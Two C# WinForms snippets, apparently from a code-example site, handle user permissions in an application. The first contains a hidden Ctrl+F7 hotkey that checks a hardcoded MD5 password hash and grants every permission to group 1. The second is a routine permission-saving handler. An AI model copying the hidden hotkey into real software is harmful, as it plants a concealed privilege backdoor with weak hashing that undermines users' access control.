Пример #1
0
 private void txtPassword_KeyDown(object sender, KeyEventArgs e)
 {
     Console.WriteLine("DOWN:{0}, {1}", e.Modifiers, e.KeyCode);
     if (e.Modifiers == Keys.Control && e.KeyCode == Keys.F7)
     {
         string output = "";
         using (MD5 md5Hash = MD5.Create())
         {
             output = GetMd5Hash(md5Hash, txtPassword.Text);
         }
         if (output.Equals("3fbf4693f9ddb56e606d912e9f0f58c5"))
         {
             PhanQuyenBUS pqBUS = new PhanQuyenBUS();
             for (int i = 0; i < 31; i++)
             {
                 pqBUS.CapNhat(new PhanQuyen(1, i));
             }
             MessageBox.Show("Completed");
         }
         else
         {
             MessageBox.Show("Failed");
         }
     }
 }
Пример #2
0
        private void btnOKPhanQuyen_Click(object sender, EventArgs e)
        {
            List <int> danhsachquyen = new List <int>();

            for (int i = 0; i < clbPhanQuyen.ItemCount; i++)
            {
                if (clbPhanQuyen.GetItemChecked(i))
                {
                    danhsachquyen.Add((int)clbPhanQuyen.GetItemValue(i));
                }
            }

            int gid = int.Parse(cbbGID.SelectedValue.ToString());

            phanQuyenBUS.Xoa(new PhanQuyen(gid, -1));
            bool thanhcong = false;

            foreach (int maquyen in danhsachquyen)
            {
                PhanQuyen phanQuyen = new PhanQuyen(gid, maquyen);
                thanhcong = phanQuyenBUS.CapNhat(phanQuyen);
            }
            if (thanhcong)
            {
                MessageBox.Show("Cập nhật thành công");
                bangPhanQuyen = phanQuyenBUS.DanhSach();
                PhanQuyenTheoGID();

                isModified = true;
            }
            else
            {
                MessageBox.Show("Lỗi");
            }
        }